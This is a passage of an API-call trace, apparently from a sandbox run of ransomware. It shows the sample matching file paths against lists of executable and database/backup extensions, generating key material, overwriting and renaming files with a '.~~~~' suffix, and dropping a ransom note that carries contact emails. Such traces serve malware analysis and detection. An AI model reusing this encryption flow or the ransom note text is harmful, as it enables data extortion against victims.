	[0086.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0086.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.041] lstrlenW (lpString=".sqb") returned 4
	[0086.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0086.041] lstrlenW (lpString=".ost") returned 4
	[0086.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0086.042] lstrlenW (lpString=".txt") returned 4
	[0086.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0086.042] lstrlenW (lpString=".mdt") returned 4
	[0086.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0086.042] lstrlenW (lpString=".BDB") returned 4
	[0086.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0086.042] lstrlenW (lpString=".eql") returned 4
	[0086.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0086.042] lstrlenW (lpString=".DBF") returned 4
	[0086.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0086.042] lstrlenW (lpString=".EQL") returned 4
	[0086.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0086.042] lstrlenW (lpString=".FDB") returned 4
	[0086.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0086.042] lstrlenW (lpString=".EDB") returned 4
	[0086.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0086.042] lstrlenW (lpString=".DACPAC") returned 7
	[0086.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0086.105] lstrlenW (lpString=".VHD") returned 4
	[0086.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0086.105] lstrlenW (lpString=".DBV") returned 4
	[0086.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0086.105] lstrlenW (lpString=".dacpac") returned 7
	[0086.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0086.105] lstrlenW (lpString=".sdf") returned 4
	[0086.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0086.105] lstrlenW (lpString=".accdb") returned 6
	[0086.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0086.105] lstrlenW (lpString=".DBX") returned 4
	[0086.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0086.105] lstrlenW (lpString=".MDT") returned 4
	[0086.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0086.105] lstrlenW (lpString=".SQB") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0086.106] lstrlenW (lpString=".vhd") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0086.106] lstrlenW (lpString=".bac") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0086.106] lstrlenW (lpString=".mdf") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0086.106] lstrlenW (lpString=".BAK") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0086.106] lstrlenW (lpString=".BAC") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0086.106] lstrlenW (lpString=".dbs") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0086.106] lstrlenW (lpString=".vhdx") returned 5
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0086.106] lstrlenW (lpString=".NDF") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0086.106] lstrlenW (lpString=".dat") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0086.106] lstrlenW (lpString=".DBS") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0086.106] lstrlenW (lpString=".CKP") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0086.106] lstrlenW (lpString=".edb") returned 4
	[0086.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0086.106] lstrlenW (lpString=".PST") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0086.107] lstrlenW (lpString=".dbf") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0086.107] lstrlenW (lpString=".SQL") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0086.107] lstrlenW (lpString=".pst") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0086.107] lstrlenW (lpString=".dbv") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0086.107] lstrlenW (lpString=".SDF") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0086.107] lstrlenW (lpString=".dtxs") returned 5
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0086.107] lstrlenW (lpString=".db3") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0086.107] lstrlenW (lpString=".OST") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0086.107] lstrlenW (lpString=".dbx") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0086.107] lstrlenW (lpString=".DB3") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0086.107] lstrlenW (lpString=".DAT") returned 4
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0086.107] lstrlenW (lpString=".VHDX") returned 5
	[0086.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0086.107] lstrlenW (lpString=".ndf") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0086.108] lstrlenW (lpString=".DB") returned 3
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0086.108] lstrlenW (lpString=".sql") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0086.108] lstrlenW (lpString=".MYD") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0086.108] lstrlenW (lpString=".DBT") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0086.108] lstrlenW (lpString=".ACCDB") returned 6
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0086.108] lstrlenW (lpString=".fdb") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0086.108] lstrlenW (lpString=".bak") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0086.108] lstrlenW (lpString=".myd") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0086.108] lstrlenW (lpString=".DTXS") returned 5
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0086.108] lstrlenW (lpString=".ckp") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0086.108] lstrlenW (lpString=".dbt") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0086.108] lstrlenW (lpString=".db") returned 3
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0086.108] lstrlenW (lpString=".TXT") returned 4
	[0086.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0086.109] lstrlenW (lpString=".MDF") returned 4
	[0086.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0086.109] lstrlenW (lpString=".bdb") returned 4
	[0086.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0086.109] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.109] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.110] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.110] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.110] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20610030995) returned 1
	[0086.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d21dc10, dwHighDateTime=0x1d60e1e)) 
	[0086.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6710
	[0086.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6710 | out: hHeap=0x300000) returned 1
	[0086.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0086.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0086.111] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.111] GetLastError () returned 0x0
	[0086.111] GetLastError () returned 0x0
	[0086.111] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.111] GetLastError () returned 0x0
	[0086.112] GetLastError () returned 0x0
	[0086.115] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff8d87, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.115] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x7279, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x7279, lpOverlapped=0x0) returned 1
	[0086.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.116] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.116] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.116] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.116] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.116] CloseHandle (hObject=0x120) returned 1
	[0086.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0086.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.~~~~")) returned 1
	[0086.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0086.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.179] GetLastError () returned 0x0
	[0086.180] RtlWakeConditionVariable () returned 0x365f70
	[0086.180] GetCurrentThreadId () returned 0x9cc
	[0086.180] GetCurrentThreadId () returned 0x9cc
	[0086.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0086.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4460 | out: hHeap=0x300000) returned 1
	[0086.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6630 | out: hHeap=0x300000) returned 1
	[0086.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4460
	[0086.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0086.194] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.194] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.196] CloseHandle (hObject=0x124) returned 1
	[0086.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4460 | out: hHeap=0x300000) returned 1
	[0086.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0086.196] RtlWakeConditionVariable () returned 0x365f70
	[0086.196] GetCurrentThreadId () returned 0x9cc
	[0086.196] GetCurrentThreadId () returned 0x9cc
	[0086.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0086.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4658 | out: hHeap=0x300000) returned 1
	[0086.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b58 | out: hHeap=0x300000) returned 1
	[0086.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4658
	[0086.196] lstrlenW (lpString=".scr") returned 4
	[0086.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0086.196] lstrlenW (lpString=".cmd") returned 4
	[0086.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0086.196] lstrlenW (lpString=".dll") returned 4
	[0086.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0086.196] lstrlenW (lpString=".bat") returned 4
	[0086.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0086.196] lstrlenW (lpString=".cpl") returned 4
	[0086.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0086.197] lstrlenW (lpString=".sys") returned 4
	[0086.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0086.197] lstrlenW (lpString=".msc") returned 4
	[0086.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0086.197] lstrlenW (lpString=".com") returned 4
	[0086.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0086.197] lstrlenW (lpString=".lnk") returned 4
	[0086.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0086.197] lstrlenW (lpString=".msp") returned 4
	[0086.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0086.197] lstrlenW (lpString=".pif") returned 4
	[0086.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0086.197] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0086.198] lstrlenW (lpString=".sqb") returned 4
	[0086.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0086.198] lstrlenW (lpString=".ost") returned 4
	[0086.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0086.198] lstrlenW (lpString=".txt") returned 4
	[0086.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0086.198] lstrlenW (lpString=".mdt") returned 4
	[0086.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0086.198] lstrlenW (lpString=".BDB") returned 4
	[0086.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0086.198] lstrlenW (lpString=".eql") returned 4
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0086.199] lstrlenW (lpString=".DBF") returned 4
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0086.199] lstrlenW (lpString=".EQL") returned 4
